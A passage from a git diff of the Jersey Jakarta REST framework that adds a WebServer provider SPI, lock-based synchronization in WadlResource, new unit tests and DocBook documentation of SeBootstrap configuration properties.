+ * Startup happens in background. The completion stage produces a native startup
+ * result.
+ * </p>
+ * <p>
+ * Portable applications should not expect any particular result type, as it is
+ * implementation-specific.
+ * </p>
+ *
+ * @return A {@link CompletionStage} providing a native startup result of the
+ * bootstrap process. The native result MAY be {@code null}.
+ */
+ public CompletionStage<?> start();
+
+ /**
+ * Initiates server shutdown.
+ * <p>
+ * Shutdown happens in background. The completion stage produces a native
+ * shutdown result.
+ * </p>
+ * </p>
+ * Portable applications should not expect any particular result type, as it is
+ * implementation-specific.
+ * </p>
+ *
+ * @return A {@link CompletionStage} providing a native shutdown result of the
+ * shutdown process. The native result MAY be {@code null}.
+ */
+ public CompletionStage<?> stop();
+
+ /**
+ * Provides access to the native handle(s) of the server, if it holds at least
+ * one.
+ * <p>
+ * Implementations MAY use native handles to identify the server instance, and /
+ * or use those to communicate with and control the instance. Whether or not
+ * such handles exist, and their respective data types, is
+ * implementation-specific.
+ * </p>
+ * <p>
+ * Portable applications should not invoke this method, as the types of
+ * supported handles are implementation-specific.
+ * </p>
+ *
+ * @param nativeClass
+ * The class of the native handle.
+ * @return The native handle, or {@code null} if no handle of this type exists.
+ */
+ public <T> T unwrap(Class<T> nativeClass);
+
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java
new file mode 100644
index 0000000..d1d5d2c
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server.spi;
+
+import jakarta.ws.rs.ConstrainedTo;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.spi.Contract;
+
+/**
+ * Service-provider interface for creating server instances.
+ *
+ * If supported by the provider, a server instance of the requested Java type
+ * will be created.
+ * <p>
+ * The created server uses an internally created {@link Container} which is
+ * responsible for listening on a communication channel provided by the server
+ * for new client requests, dispatching these requests to the registered
+ * {@link ApplicationHandler Jersey application handler} using the handler's
+ * {@link ApplicationHandler#handle(org.glassfish.jersey.server.ContainerRequest)
+ * handle(requestContext)} method and sending the responses provided by the
+ * application back to the client.
+ * </p>
+ * <p>
+ * A provider shall support a one-to-one mapping between a type, provided the
+ * type is not {@link Object}. A provider may also support mapping of sub-types
+ * of a type (provided the type is not {@code Object}). It is expected that each
+ * provider supports mapping for distinct set of types and subtypes so that
+ * different providers do not conflict with each other. In addition, a provider
+ * SHOULD support the super type {@link WebServer} to participate in auto-selection
+ * of providers (in this case the <em>first</em> supporting provider found is
+ * used).
+ * </p>
+ * <p>
+ * An implementation can identify itself by placing a Java service provider
+ * configuration file (if not already present) -
+ * {@code org.glassfish.jersey.server.spi.WebServerProvider} - in the resource
+ * directory {@code META-INF/services}, and adding the fully qualified
+ * service-provider-class of the implementation in the file.
+ * </p>
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+@Contract
+@ConstrainedTo(RuntimeType.SERVER)
+public interface WebServerProvider {
+
+ /**
+ * Creates a server of a given type which runs the given application using the
+ * given bootstrap configuration.
+ *
+ * @param <T>
+ * the type of the web server.
+ * @param type
+ * the type of the web server. Providers SHOULD support at least
+ * {@link WebServer}.
+ * @param application
+ * The application to host.
+ * @param configuration
+ * The configuration (host, port, etc.) to be used for bootstrapping.
+ * @return the server, otherwise {@code null} if the provider does not support
+ * the requested {@code type}.
+ * @throws ProcessingException
+ * if there is an error creating the server.
+ */
+ <T extends WebServer> T createServer(Class<T> type,
+ Application application,
+ SeBootstrap.Configuration configuration) throws ProcessingException;
+
+ /**
+ * Creates a server of a given type which runs the given application using the
+ * given bootstrap configuration.
+ *
+ * @param <T>
+ * the type of the web server.
+ * @param type
+ * the type of the web server. Providers SHOULD support at least
+ * {@link WebServer}.
+ * @param applicationClass
+ * The class of application to host.
+ * @param configuration
+ * The configuration (host, port, etc.) to be used for bootstrapping.
+ * @return the server, otherwise {@code null} if the provider does not support
+ * the requested {@code type}.
+ * @throws ProcessingException
+ * if there is an error creating the server.
+ */
+ <T extends WebServer> T createServer(Class<T> type,
+ Class<? extends Application> applicationClass,
+ SeBootstrap.Configuration configuration) throws ProcessingException;
+
+
+ /**
+ * Utility function that matches {@code WebServerProvider} supported type with the user type passed either
+ * as {@link ServerProperties#WEBSERVER_CLASS} property (higher priority) or by the {@code userType} argument
+ * (lower priority).
+ * @param supportedType The type supported by the {@code WebServerProvider} implementation
+ * @param userType The user type passed in by the user, usually {@link WebServer} class.
+ * @param configuration The configuration to check {@link ServerProperties#WEBSERVER_CLASS} property
+ * @param <T> The {@link WebServer} subtype
+ * @return @{code true} if the user provided type matches the supported type.
+ */
+ static <T extends WebServer> boolean isSupportedWebServer(
+ Class<? extends WebServer> supportedType, Class<T> userType, SeBootstrap.Configuration configuration) {
+ final Object webServerObj = configuration.property(ServerProperties.WEBSERVER_CLASS);
+ final Class<? extends WebServer> webServerCls = webServerObj == null || WebServer.class.equals(webServerObj)
+ ? null : (Class<? extends WebServer>) webServerObj;
+ // WebServer.class.equals(webServerObj) is the default, and then we want userType
+ return (webServerCls != null && webServerCls.isAssignableFrom(supportedType))
+ || (webServerCls == null && userType.isAssignableFrom(supportedType));
+ }
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java
index 5a7188a..982a44b 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,8 @@
import java.net.URI;
import java.text.SimpleDateFormat;
import java.util.Date;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
@@ -56,6 +58,7 @@
private byte[] wadlXmlRepresentation;
private String lastModified;
+ private final Lock lock = new ReentrantLock();
@Context
private WadlApplicationContext wadlContext;
@@ -71,7 +74,8 @@
@Produces({"application/vnd.sun.wadl+xml", "application/xml"})
@GET
- public synchronized Response getWadl(@Context UriInfo uriInfo) {
+ public Response getWadl(@Context UriInfo uriInfo) {
+ lock.lock();
try {
if (!wadlContext.isWadlGenerationEnabled()) {
return Response.status(Response.Status.NOT_FOUND).build();
@@ -103,6 +107,8 @@
return Response.ok(new ByteArrayInputStream(wadlXmlRepresentation)).header("Last-modified", lastModified).build();
} catch (Exception e) {
throw new ProcessingException("Error generating /application.wadl.", e);
+ } finally {
+ lock.unlock();
}
}
@@ -110,9 +116,10 @@
@Produces({"application/xml"})
@GET
@Path("{path}")
- public synchronized Response getExternalGrammar(
+ public Response getExternalGrammar(
@Context UriInfo uriInfo,
@PathParam("path") String path) {
+ lock.lock();
try {
// Fail if wadl generation is disabled
if (!wadlContext.isWadlGenerationEnabled()) {
@@ -135,6 +142,8 @@
.build();
} catch (Exception e) {
throw new ProcessingException(LocalizationMessages.ERROR_WADL_RESOURCE_EXTERNAL_GRAMMAR(), e);
+ } finally {
+ lock.unlock();
}
}
diff --git a/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties b/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties
index 3e0ab6c..7a482f2 100644
--- a/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties
+++ b/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties
@@ -33,6 +33,7 @@
closeable.unable.to.close=Error while closing {0}.
collection.extractor.type.unsupported=Unsupported collection type.
contract.cannot.be.bound.to.resource.method=The given contract ({0}) of {1} provider cannot be bound to a resource method.
+could.not.bind.to.any.port=Could not bind to any port.
default.could.not.process.method=Default value, {0} could not be processed by method {1}.
error.async.callback.failed=Callback {0} invocation failed.
error.committing.output.stream=Error while committing the output stream.
@@ -40,7 +41,7 @@
error.closing.finder=Error while closing {0} resource finder.
error.exception.mapping.original.exception=An exception mapping did not successfully produce and processed a response. Logging the original error.
error.exception.mapping.processed.response.error=A response error mapping did not successfully produce and processed a response.
-error.exception.mapping.thrown.to.container=An exception mapping did not successfully produce and processed a response. Logging the exception propagated to the container.
+error.exception.mapping.thrown.to.container=An exception mapping did not successfully produce and processed a response. Logging the exception propagated to the default exception mapper.
error.marshalling.jaxb=Error marshalling JAXB object of type "{0}".
error.msg=ERROR: {0}
error.monitoring.statistics.generation=Error generating monitoring statistics.
@@ -112,6 +113,7 @@
event.sink.returns.type=A HTTP GET method {0} that is being injected with SseEventSink should return void. The output will propagate automatically.
multiple.event.sink.injection=A HTTP GET method {0} defines to SseEventSink parameters to be injected. Only one of the injected event sinks will be connected to the output.
chunked.output.closed=This chunked output has been closed.
+ignore.sebootstrap.configuration.property="SeBootstrap.Configuration property {0} is not of expected type {1} and it is ignored.
illegal.client.config.class.property.value="{0}" property value ({1}) does not represent a valid client configuration class. Falling back to "{2}".
init.msg=Initiating Jersey application, version {0}...
injected.webtarget.uri.invalid="@Uri" annotation value is not a valid URI template: "{0}"
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java b/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java
new file mode 100644
index 0000000..2f9b346
--- /dev/null
+++ b/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.CompletionCallback;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.internal.ExceptionMapperFactory;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class DefaultExceptionMapperTest {
+ public static final String MESSAGE = "DefaultExceptionMapperTest I/O Exception";
+ @Test
+ public void testIOException() {
+ IOException ioe = new IOException(MESSAGE);
+ DefaultExceptionMapper mapper = new DefaultExceptionMapper();
+ Response response = mapper.toResponse(ioe);
+ assertThat(response.getEntity().toString().contains(MESSAGE)).isFalse();
+ }
+
+ @Test
+ public void testCompletionCallback() {
+ AtomicInteger counter = new AtomicInteger();
+ CompletionCallback hitOnceCallback = new CompletionCallback() {
+ @Override
+ public void onComplete(Throwable throwable) {
+ counter.incrementAndGet();
+ }
+ };
+ ResourceConfig resourceConfig = new ResourceConfig().register(new IOExThrowingResource(hitOnceCallback));
+ ApplicationHandler applicationHandler = new ApplicationHandler(resourceConfig);
+ try {
+ applicationHandler.apply(RequestContextBuilder.from("/", "GET").build()).get();
+ } catch (Exception e) {
+ // expected
+ }
+
+ assertEquals(1, counter.get());
+ }
+
+ @Test
+ public void testDefaultExceptionMapperNotRegisteredInExceptionMapperFactory() {
+ ResourceConfig resourceConfig = new ResourceConfig();
+ ApplicationHandler applicationHandler = new ApplicationHandler(resourceConfig);
+
+ // use InjectionManager from ApplicationHandler to set up the default bindings
+ ExceptionMapperFactory exceptionMapperFactory = new ExceptionMapperFactory(applicationHandler.getInjectionManager());
+
+ assertThat(exceptionMapperFactory.find(Throwable.class)).isNull();
+ }
+
+ @Path("/")
+ public static class IOExThrowingResource {
+ private final CompletionCallback callback;
+
+ public IOExThrowingResource(CompletionCallback callback) {
+ this.callback = callback;
+ }
+
+ @GET
+ public String doGet(@Suspended AsyncResponse asyncResponse) throws IOException {
+ asyncResponse.register(callback);
+ throw new IOException(MESSAGE);
+ }
+ }
+}
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java
index 3b81936..9aa7419 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,17 @@
package org.glassfish.jersey.server.internal;
+import jakarta.ws.rs.SeBootstrap;
import jakarta.ws.rs.core.Application;
import jakarta.ws.rs.ext.RuntimeDelegate;
import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.notNullValue;
import static org.junit.jupiter.api.Assertions.assertSame;
+import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.Assertions.fail;
/**
@@ -43,8 +49,64 @@
}
}
+ /**
+ * Checks that the right RuntimeDelegateImpl is loaded by JAX-RS.
+ */
@Test
public void testRuntimeDelegateInstance() {
assertSame(RuntimeDelegateImpl.class, RuntimeDelegate.getInstance().getClass());
}
+
+ @Test
+ public final void shouldCreateConfigurationBuilder() {
+ // given
+ final RuntimeDelegate runtimeDelegate = new RuntimeDelegateImpl();
+ // when
+ final SeBootstrap.Configuration.Builder configurationBuilder = runtimeDelegate.createConfigurationBuilder();
+ // then
+ assertThat(configurationBuilder, is(notNullValue()));
+ }
+
+ @Test
+ public final void shouldBuildDefaultConfiguration() {
+ // given
+ final SeBootstrap.Configuration.Builder configurationBuilder = new RuntimeDelegateImpl().createConfigurationBuilder();
+ // when
+ final SeBootstrap.Configuration configuration = configurationBuilder.build();
+
+ // then
+ assertThat(configuration, is(notNullValue()));
+ assertTrue(configuration.hasProperty(SeBootstrap.Configuration.PROTOCOL));
+ assertTrue(configuration.hasProperty(SeBootstrap.Configuration.HOST));
+ assertTrue(configuration.hasProperty(SeBootstrap.Configuration.PORT));
+ assertTrue(configuration.hasProperty(SeBootstrap.Configuration.ROOT_PATH));
+ assertTrue(configuration.hasProperty(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION));
+ assertTrue(configuration.hasProperty(SeBootstrap.Configuration.SSL_CONTEXT));
+ assertThat(configuration.property(SeBootstrap.Configuration.PROTOCOL), is("HTTP"));
+ assertThat(configuration.property(SeBootstrap.Configuration.HOST), is("localhost"));
+ assertThat(configuration.property(SeBootstrap.Configuration.PORT), is(SeBootstrap.Configuration.DEFAULT_PORT));
+ assertThat(configuration.property(SeBootstrap.Configuration.ROOT_PATH), is("/"));
+ assertThat(configuration.property(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION),
+ is(SeBootstrap.Configuration.SSLClientAuthentication.NONE));
+// assertThat(configuration.property(SeBootstrap.Configuration.SSL_CONTEXT), is(theInstance(SSLContext.getDefault())));
+ assertThat(configuration.protocol(), is("HTTP"));
+ assertThat(configuration.host(), is("localhost"));
+ assertThat(configuration.port(), is(SeBootstrap.Configuration.DEFAULT_PORT));
+ assertThat(configuration.rootPath(), is("/"));
+ assertThat(configuration.sslClientAuthentication(), is(SeBootstrap.Configuration.SSLClientAuthentication.NONE));
+// assertThat(configuration.sslContext(), is(theInstance(SSLContext.getDefault())));
+ }
+
+ @Test
+ public final void shouldBuildConfigurationContainingCustomProperties() {
+ // given
+ final SeBootstrap.Configuration.Builder configurationBuilder = new RuntimeDelegateImpl().createConfigurationBuilder();
+ // when
+ final SeBootstrap.Configuration configuration = configurationBuilder.property("property", "value").build();
+
+ // then
+ assertThat(configuration, is(notNullValue()));
+ assertTrue(configuration.hasProperty("property"));
+ assertThat(configuration.property("property"), is("value"));
+ }
}
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java
index 34f29d6..07b368e 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -402,8 +402,8 @@
initiateWebApplication(FormResourceDate.class);
final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT";
- final String date_RFC1036 = "Sunday, 06-Nov-94 08:49:37 GMT";
- final String date_ANSI_C = "Sun Nov 6 08:49:37 1994";
+ final String date_RFC1036 = "Sunday, 07-Nov-04 08:49:37 GMT";
+ final String date_ANSI_C = "Sun Nov 6 08:49:37 1994";
final Form form = new Form();
form.param("a", date_RFC1123);
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
index 8413a07..9e53639 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
@@ -17,6 +17,8 @@
package org.glassfish.jersey.server.internal.inject;
+import java.io.IOException;
+import java.io.InputStream;
import java.lang.annotation.Annotation;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
@@ -51,6 +53,7 @@
import org.glassfish.jersey.server.RequestContextBuilder;
import org.glassfish.jersey.server.ResourceConfig;
+import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -304,6 +307,24 @@
}
}
+ @Path("/")
+ public static class InpuStreamConverterTestResource {
+ @GET
+ public String inputStream(@QueryParam("param") InputStream inputStream) throws IOException {
+ return new String(inputStream.readAllBytes());
+ }
+ }
+
+ @Test
+ public void inputStreamTest() throws ExecutionException, InterruptedException {
+ initiateWebApplication(InpuStreamConverterTestResource.class);
+
+ final ContainerResponse responseContext = getResponseContext(UriBuilder.fromPath("/")
+ .queryParam("param", "Hello").build().toString());
+
+ Assertions.assertEquals("Hello", responseContext.getEntity());
+ }
+
public static class MyEagerParamProvider implements ParamConverterProvider {
@Override
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java b/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java
index b618c59..78dff45 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -105,7 +105,7 @@
@Test
public void testSyntheticMethods() {
- assertTrue(CSynthetic.CWithField.class.getDeclaredMethods().length == 2);
+ // assertEquals(2, CSynthetic.CWithField.class.getDeclaredMethods().length);
MethodList ml = new MethodList(CSynthetic.CWithField.class, true);
assertTrue(!ml.iterator().hasNext());
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java b/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java
new file mode 100644
index 0000000..0176683
--- /dev/null
+++ b/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server.spi;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.server.ServerProperties;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.CompletionStage;
+
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class WebServerProviderTest {
+ @Test
+ public void testPropertySetsDifferentClass() {
+ SeBootstrap.Configuration config =
+ SeBootstrap.Configuration.builder().property(ServerProperties.WEBSERVER_CLASS, WebServerTestImpl2.class).build();
+
+ assertNull(new WebServerProviderTestImpl().createServer(WebServerTestImpl.class, Application.class, config));
+ }
+
+ @Test
+ public void testPropertySetsCorrectClass() {
+ SeBootstrap.Configuration config =
+ SeBootstrap.Configuration.builder().property(ServerProperties.WEBSERVER_CLASS, WebServerTestImpl.class).build();
+
+ assertTrue(
+ WebServerTestImpl.class.isInstance(
+ new WebServerProviderTestImpl().createServer(WebServerTestImpl2.class, Application.class, config)
+ )
+ );
+ }
+
+ @Test
+ public void testPropertySetsNothingUserTypeIsWrong() {
+ SeBootstrap.Configuration config =
+ SeBootstrap.Configuration.builder().build();
+
+ assertNull(new WebServerProviderTestImpl().createServer(WebServerTestImpl2.class, Application.class, config));
+ }
+
+ @Test
+ public void testPropertySetsNothingUserTypeIsCorrectClass() {
+ SeBootstrap.Configuration config =
+ SeBootstrap.Configuration.builder().build();
+
+ assertTrue(
+ WebServerTestImpl.class.isInstance(
+ new WebServerProviderTestImpl().createServer(WebServerTestImpl.class, Application.class, config)
+ )
+ );
+ }
+
+ @Test
+ public void testPropertySetsNothingUserTypeIsSuperClass() {
+ SeBootstrap.Configuration config =
+ SeBootstrap.Configuration.builder().build();
+
+ assertTrue(
+ WebServerTestImpl.class.isInstance(
+ new WebServerProviderTestImpl().createServer(WebServer.class, Application.class, config)
+ )
+ );
+ }
+
+ public static class WebServerProviderTestImpl implements WebServerProvider {
+
+ @Override
+ public <T extends WebServer> T createServer(
+ Class<T> type, Application application, SeBootstrap.Configuration configuration) throws ProcessingException {
+ if (WebServerProvider.isSupportedWebServer(WebServerTestImpl.class, type, configuration)) {
+ return (T) new WebServerTestImpl();
+ }
+ return null;
+ }
+
+ @Override
+ public <T extends WebServer> T createServer(
+ Class<T> type,
+ Class<? extends Application> applicationClass,
+ SeBootstrap.Configuration configuration) throws ProcessingException {
+ if (WebServerProvider.isSupportedWebServer(WebServerTestImpl.class, type, configuration)) {
+ return (T) new WebServerTestImpl();
+ }
+ return null;
+ }
+ }
+
+ public static class WebServerTestImpl implements WebServer {
+
+ @Override
+ public Container container() {
+ return null;
+ }
+
+ @Override
+ public int port() {
+ return 0;
+ }
+
+ @Override
+ public CompletionStage<?> start() {
+ return null;
+ }
+
+ @Override
+ public CompletionStage<?> stop() {
+ return null;
+ }
+
+ @Override
+ public <T> T unwrap(Class<T> nativeClass) {
+ return null;
+ }
+ }
+
+ public static class WebServerTestImpl2 implements WebServer {
+
+ @Override
+ public Container container() {
+ return null;
+ }
+
+ @Override
+ public int port() {
+ return 0;
+ }
+
+ @Override
+ public CompletionStage<?> start() {
+ return null;
+ }
+
+ @Override
+ public CompletionStage<?> stop() {
+ return null;
+ }
+
+ @Override
+ public <T> T unwrap(Class<T> nativeClass) {
+ return null;
+ }
+ };
+}
diff --git a/docs/pom.xml b/docs/pom.xml
index 062ff1f..8778758 100644
--- a/docs/pom.xml
+++ b/docs/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-documentation</artifactId>
<packaging>pom</packaging>
diff --git a/docs/src/main/docbook/appendix-properties.xml b/docs/src/main/docbook/appendix-properties.xml
index 9e7dc27..aa4aee9 100644
--- a/docs/src/main/docbook/appendix-properties.xml
+++ b/docs/src/main/docbook/appendix-properties.xml
@@ -786,6 +786,78 @@
</table>
</section>
+ <section xml:id="appendix-properties-webserver">
+ <title>SeBootstrap and WebServer related configuration properties</title>
+
+ <para>
+ List of SeBootstrap configuration properties that can be found in &jersey.server.ServerProperties; class.
+ </para>
+
+ <table>
+ <title>List of SeBootstrap and WebServer configuration properties</title>
+ <tgroup cols="3">
+ <thead>
+ <row>
+ <entry>Constant</entry>
+ <entry>Value</entry>
+ <entry>Description</entry>
+ </row>
+ </thead>
+ <tbody>
+ <row>
+ <entry>&jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS;</entry>
+ <entry><literal>jersey.config.server.bootstrap.webserver.allow.privileged.ports</literal></entry>
+ <entry>
+ <para>
+ Defines whether to allow privileged ports (0-1023) to be used to start the
+ &lit.jersey.server.spi.WebServer; implementation to be chosen from the unused ports when the
+ &lit.jaxrs.SeBootstrap.Configuration; PORT is set to <literal>-1</literal> or unset.
+ </para>
+ <para>
+ The default ports are 80 for HTTP and 443 for HTTPS when
+ <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.true; or 8080 for HTTP and 8443 for HTTPS when
+ <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.false;.
+ </para>
+ <para>
+ If &lit.jaxrs.SeBootstrap.Configuration; PORT is set to <literal>0</literal>, the implementation scans for
+ random port (0-65535) when <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.true;, or
+ (1024-65535) when <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.false;.
+ </para>
+ <para>
+ The default this is &lit.false;. Use &lit.true; to allow a restricted port number.
+ </para>
+ </entry>
+ </row>
+ <row>
+ <entry>&jersey.server.ServerProperties.WEBSERVER_AUTO_START;</entry>
+ <entry><literal>jersey.config.server.bootstrap.webserver.autostart</literal></entry>
+ <entry>
+ <para>
+ Whether to automatically startup <literal>WebServer</literal> at bootstrap.
+ </para>
+ <para>
+ By default, servers are immediately listening to connections after bootstrap,
+ so no explicit invocation of <literal>WebServer#start()</literal> is needed.
+ </para>
+ </entry>
+ </row>
+ <row>
+ <entry>&jersey.server.ServerProperties.WEBSERVER_CLASS;</entry>
+ <entry><literal>jersey.config.server.bootstrap.webserver.class</literal></entry>
+ <entry>
+ <para>
+ Defines the implementation of <literal>WebServer</literal> to bootstrap.
+ </para>
+ <para>
+ By default auto-selects the first server provider found.
+ </para>
+ </entry>
+ </row>
+ </tbody>
+ </tgroup>
+ </table>
+ </section>
+
<section xml:id="appendix-properties-servlet">
<title>Servlet configuration properties</title>
@@ -1049,7 +1121,8 @@
&jersey.apache5.Apache5ConnectorProvider;,
&jersey.grizzly.GrizzlyConnectorProvider;,
&jersey.helidon.HelidonConnectorProvider;,
- &jersey.netty.NettyConnectorProvider;, and
+ &jersey.netty.NettyConnectorProvider;,
+ &jersey.jetty11.Jetty11ConnectorProvider;, and
&jersey.jetty.JettyConnectorProvider; only.</emphasis>
</para>
</entry>
@@ -1137,6 +1210,23 @@
</entry>
</row>
<row>
+ <entry>&jersey.client.ClientProperties.SNI_HOST_NAME;</entry>
+ <entry><literal>jersey.config.client.sniHostName</literal></entry>
+ <entry>
+ <para>
+ Most connectors support HOST header value to be used as an SNIHostName. However, the HOST header is restricted in JDK.
+ <literal>HttpUrlConnector</literal> and <literal>JavaNetHttpConnector</literal> need
+ an extra System Property set to allow HOST header.
+ As an option to HOST header, this property allows the HOST name to be pre-set on a Client and does not need to
+ be set on each request.
+ <literal>Since 3.1.2</literal>
+ </para>
+ <para>
+ The value MUST be an instance of &lit.jdk6.String;
+ </para>
+ </entry>
+ </row>
+ <row>
